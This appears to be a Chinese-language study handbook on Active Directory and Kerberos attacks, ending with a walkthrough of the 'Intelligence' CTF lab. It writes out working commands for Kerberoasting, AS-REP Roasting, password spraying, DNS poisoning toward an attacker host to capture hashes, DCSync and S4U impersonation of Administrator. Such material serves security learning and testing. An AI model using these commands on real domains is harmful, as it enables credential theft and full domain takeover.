Active Directory & Kerberos 攻击全景手册
一、Kerberos 认证基础
1.1 三个角色
1 2 3 4
| ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ Client │────▶│ KDC │────▶│ Service │ │ (你) │ │(域控制器) │ │(MSSQL/IIS/…) │ └──────────┘ └──────────┘ └──────────────┘
|
| 角色 |
职能 |
关键组件 |
| Client |
请求访问的实体(用户/计算机) |
密码 → 加密密钥 |
| KDC (Key Distribution Center) |
认证中心,跑在域控上 |
AS(认证服务)+ TGS(票据授予服务) |
| Service |
被访问的目标服务 |
由 SPN 唯一标识 |
1.2 认证三阶段
1 2 3 4 5 6 7 8 9 10 11
| 阶段 1: AS-REQ / AS-REP Client ——"我是 Alice,给我手环"——▶ KDC Client ◀——"这是你的 TGT(用 krbtgt 密钥加密)"—— KDC
阶段 2: TGS-REQ / TGS-REP Client ——"我用手环换去 MSSQL 项目的票"——▶ KDC Client ◀——"这是 MSSQL 票(用 MSSQL 密钥加密)"—— KDC
阶段 3: AP-REQ / AP-REP Client ——"这是 MSSQL 票,让我进去"——▶ MSSQL Client ◀——"票有效,请进"—— MSSQL
|
1.3 核心概念速查
| 名词 |
全称 |
本质 |
加密密钥 |
有效期 |
| TGT |
Ticket Granting Ticket |
“游乐园万能手环” |
krbtgt 账户的哈希 |
~10 小时 |
| TGS |
Ticket Granting Service |
“单个项目的门票” |
目标服务账户的哈希 |
~10 小时 |
| SPN |
Service Principal Name |
服务的唯一标识 |
— |
— |
| NT Hash |
NT LAN Manager Hash |
密码的 MD 4 值(等同于密码) |
— |
— |
| ccache |
Credential Cache |
Kerberos 票据文件 |
— |
— |
1.4 Kerberos 的”权限检查真空”
KDC 在发放 TGS 时不检查客户端是否有权限访问目标服务。
这个设计产生了两个核心攻击面:
- Kerberoasting:拿到 TGS(用服务密钥加密的 blob),离线爆破
- S 4 U 冒充:有委派权限的账户可以替别人要票
二、凭据的三种形态
| 形态 |
表现形式 |
获取方式 |
可对抗的认证协议 |
| 明文密码 |
Password123 |
密码喷洒、Responder+hashcat |
所有 |
| NT 哈希 |
32个十六进制字符 |
DCSync、SAM dump、gMSA |
NTLM 认证 |
| Kerberos 票 |
.ccache 文件 |
getTGT.py、getST.py |
仅 Kerberos |
NT 哈希 = 等效于密码(Pass-the-Hash)。NTLM 协议不需要明文密码,只需要哈希。
三、七大核心攻击技术
3.1 AS-REP Roasting
原理:预认证(Pre-authentication)关闭时,KDC 不验证身份就发 TGT。TGT 用用户密码哈希加密,可离线爆破。
条件:用户设置了 UF_DONT_REQUIRE_PREAUTH
1 2 3 4 5
| # 枚举 GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP
# 破解 hashcat -m 18200 hash.txt rockyou.txt
|
3.2 Kerberoasting
原理:任何域用户都能向 KDC 请求任意 SPN 的 TGS。TGS 用目标服务账户的密钥加密,可离线爆破。不需要目标用户有任何特殊配置。
条件:目标服务账户注册了 SPN;密码弱
1 2 3 4 5 6 7 8
| # 查找 SPN GetUserSPNs.py -dc-ip DC_IP DOMAIN/user:'password'
# 请求 TGS GetUserSPNs.py -dc-ip DC_IP DOMAIN/user:'password' -request
# 破解 hashcat -m 13100 hash.txt rockyou.txt # TGS-REP
|
与 AS-REP Roasting 的核心区别:
|
AS-REP Roasting |
Kerberoasting |
| 破解谁 |
用户自身的 TGT |
服务账户的 TGS |
| 触发条件 |
预认证关闭 |
无(任何域用户都能请求) |
| 攻击发起者 |
无需认证 |
需要已认证(任意域用户即可) |
3.3 密码喷洒 (Password Spraying)
原理:用同一个密码尝试所有用户,绕过账户锁定策略。是”一密码多用户”,不是”一用户多密码”。
1
| kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'DefaultPass123'
|
3.4 DNS 投毒 + Responder
原理:在 AD 集成的 DNS 中注入指向攻击机的记录,等待计划任务/脚本用 -UseDefaultCredentials 发起 HTTP 请求 —— 触发 NTLM 质询,捕获 NetNTLMv 2 哈希。
条件:当前用户有 DNS 写权限;存在自动发起 HTTP 请求的计划任务
1 2 3 4 5 6 7 8
| # 1. 写 DNS 记录 bloodyAD add dnsRecord evilhost ATTACKER_IP
# 2. 起监听 sudo responder -I tun0 -w
# 3. 破解 hashcat -m 5600 hash.txt rockyou.txt
|
3.5 gMSA 密码读取
原理:组托管服务账户(gMSA)的密码由 AD 自动管理,存储在 msDS-ManagedPassword 属性中。拥有 ReadGMSAPassword 权限的实体可直接读取并解密。
条件:当前用户有读取 gMSA 密码的权限(BloodHound 中标注为 ReadGMSAPassword)
1 2 3 4 5
| # 用 bloodyAD bloodyAD get object 'SVC_ACCOUNT$' --attr msDS-ManagedPassword
# 用 gMSADumper gMSADumper.py -d DOMAIN -u user -p pass -l DC_IP
|
3.6 委派攻击 (Delegation)
委派是 AD 中最复杂也最高危的机制。核心场景:前端 IIS 需要以后端用户的身份访问 SQL Server。AD 给了三种方式:
a) 非约束委派 (Unconstrained Delegation)
1
| 用户 → IIS(IIS 拿到用户的 TGT 存起来) → SQL Server
|
问题:IIS 可以缓存任何访问过它的人的 TGT。攻击者拿到 IIS 的权限就拿到了所有 TGT。
b) 约束委派 (Constrained Delegation) — Intelligence 采用的
1 2
| SVC_INT$ 说:"我想以 Administrator 的身份访问 WWW/dc" KDC 说:"好的,你在我白名单里,这是 Administrator 访问 WWW/dc 的票"
|
两步走(S 4 U 2 Self + S 4 U 2 Proxy):
- S 4 U 2 Self:服务账户对 KDC 说”给我一张任意用户访问我自己的票”(不需要用户提供凭据)
- S 4 U 2 Proxy:拿这张票去换”该用户访问目标服务”的票
关键:有 msDS-AllowedToDelegateTo 属性且知道服务账户的凭据
1 2 3
| # 冒充 Administrator 访问目标服务 getST.py -spn HTTP/target.domain -impersonate Administrator \ -hashes :NT_HASH 'DOMAIN/SVC_ACCOUNT$'
|
c) 基于资源的约束委派 (RBCD)
区别:不是服务账户说”我能替别人”,而是目标服务说”谁可以替我”。控制权从源服务转移到了目标服务。
3.7 DCSync
原理:伪装成域控向另一个域控请求复制目录数据(NTDS.dit),从而获取所有用户的哈希。
条件:拥有 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限(Domain Admins、Enterprise Admins、Administrators 默认拥有)
1 2
| secretsdump.py DOMAIN/user:'password'@DC_IP -just-dc secretsdump.py DOMAIN/user:'password'@DC_IP -just-dc-user Administrator
|
常见报错:
| 错误 |
含义 |
rpc_s_access_denied |
权限不足 |
ERROR_DS_DRA_BAD_DN |
权限够但 DN 格式/配置问题 |
四、工具图谱
4.1 Impacket 套件
| 工具 |
功能 |
认证方式 |
GetNPUsers.py |
AS-REP Roasting 枚举 |
无需认证 |
GetUserSPNs.py |
Kerberoasting |
密码/哈希 |
secretsdump.py |
DCSync / SAM dump |
密码/哈希/Kerberos |
getTGT.py |
用密码/哈希换 TGT |
密码/哈希 |
getST.py |
用 TGT 换 TGS(S 4 U) |
密码/哈希/TGT |
wmiexec.py |
WMI 远程执行 |
密码/哈希/Kerberos |
psexec.py |
服务创建远程执行 |
密码/哈希/Kerberos |
smbclient.py |
SMB 文件浏览 |
密码/哈希/Kerberos |
smbserver.py |
本地 SMB 服务器(配合 Responder) |
— |
4.2 认证参数速查
| 参数 |
含义 |
示例 |
-hashes |
NTLM 哈希认证 |
-hashes :51854c912c4caa... |
-k |
Kerberos 票据认证 |
需先 export KRB5CCNAME=xxx.ccache |
-no-pass |
不需要密码 |
配合 -k 或 -hashes 使用 |
-dc-ip |
指定 DC IP |
-dc-ip 10.129.95.154 |
-just-dc-user |
只 dump 指定用户 |
绕过全量 DCSync 限制 |
4.3 其他关键工具
| 工具 |
用途 |
关键命令 |
kerbrute |
用户枚举 / 密码喷洒 |
passwordspray / bruteforce |
bloodyAD |
LDAP 操作(读写 AD 对象) |
add dnsRecord / get object --attr |
bloodhound-python |
全量 AD 关系采集 |
-c All --zip |
Responder |
欺骗 + NTLM 哈希捕获 |
-I tun0 -w |
hashcat |
哈希破解 |
-m 5600 (NetNTLMv 2) / -m 18200 (AS-REP) |
evil-winrm |
WinRM 远程 Shell |
-i TARGET -r DOMAIN |
chisel / ligolo |
隧道 / 端口转发 |
不出网场景 |
五、经典攻击链模式
模式 A:外部到域用户
1 2
| 端口扫描 → Web 信息泄漏(PDF/邮件/字典)→ 提取用户名 → AS-REP Roasting(如有) → 或 密码喷洒 → 初始域用户
|
模式 B:域用户到高权限
1 2
| 已认证域用户 → Kerberoasting → 服务账户密码 → 服务账户在 Domain Admins → DCSync → 全量哈希
|
模式 C:域用户到域控(委派路径)
1 2 3
| 已认证域用户 → BloodHound 发现委派关系 → gMSA 密码读取 / RBCD / 约束委派 → 冒充 Administrator → 域控 Shell
|
模式 D:DNS 投毒 + NTLM 中继
1 2 3
| 已认证域用户 → DNS 写权限 → 注入 DNS 记录 → Responder / ntlmrelayx → 捕获高权限用户哈希 → 登录域控
|
六、常见误区与调试
| 误区 |
事实 |
| “AS-REP 不成功就没戏了” |
Kerberoasting 不依赖 AS-REP,任何域用户都能用 |
| “NT 哈希不能登录” |
NTLM Pass-the-Hash 完全可用 |
| “ccache 是万能的” |
票据绑定特定 SPN,不能跨服务使用 |
| “evil-winrm 必须用密码” |
支持 -k Kerberos 票据认证 |
| “DCSync 失败就是没权限” |
ERROR_DS_DRA_BAD_DN 是配置问题,不是权限问题 |
| “Kerberos 只在 Windows 上能用” |
Impacket + krb 5.conf 可在 Linux/macOS 完整使用 |
七、BloodHound 速查
关键边(Edge)含义
| 边名 |
含义 |
攻击价值 |
MemberOf |
组关系 |
基本 |
HasSession |
已登录会话 |
可窃取凭据 |
ForceChangePassword |
可改密码 |
直接接管 |
AddMembers |
可添加组成员 |
加自己进高权限组 |
WriteDacl |
可改 ACL |
给自己加任何权限 |
ReadGMSAPassword |
可读 gMSA 密码 |
拿 NT 哈希 |
AllowedToDelegate |
约束委派 |
S 4 U 冒充 |
AllowedToAct |
基于资源的约束委派 |
RBCD 冒充 |
DCSync (GetChanges + GetChangesAll) |
DCSync 权限 |
全量 dump |
GenericAll / GenericWrite |
完全控制 |
多种提权路径 |
八、时间线复盘:Intelligence 完整攻击链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ┌─────────────────────────────────────────────────────────────────┐ │ 1. nmap → 80 端口 IIS + 445 SMB + 389 LDAP │ │ 2. /documents/ 目录 → 2020-01-01-upload.pdf │ │ 3. 批量下载 80 篇 PDF → exiftool/strings → 30 个用户名 │ │ 4. AS-REP Roasting → 全部失败(预认证开启) │ │ 5. 密码喷洒 'NewIntelligenceCorpUser9876' │ │ → Tiffany.Molina (默认密码未改) │ │ 6. SMB 侦察 → Ted 的 PowerShell 监控脚本 │ │ → DNS web* 查询 + -UseDefaultCredentials │ │ 7. DNS 投毒 (bloodyAD add dnsRecord) + Responder │ │ → Ted.Graves NetNTLMv2 → hashcat → Mr.Teddy │ │ 8. bloodhound-python → IT Support → ReadGMSAPassword │ │ → SVC_INT$ NT Hash │ │ 9. BloodHound → SVC_INT$ → AllowedToDelegate → WWW/dc │ │ 10. getST.py (S4U) → 冒充 Administrator → wmiexec │ │ → root.txt ✅ │ └─────────────────────────────────────────────────────────────────┘
|
最后一句:AD 攻击本质上是”信息不对称”的博弈——你知道的信息(域名、用户、密码、组关系、委派)每多一层,攻击面就拓宽一大截。枚举决定你能看见什么,BloodHound 决定你能规划什么,Impacket 决定你能做到什么。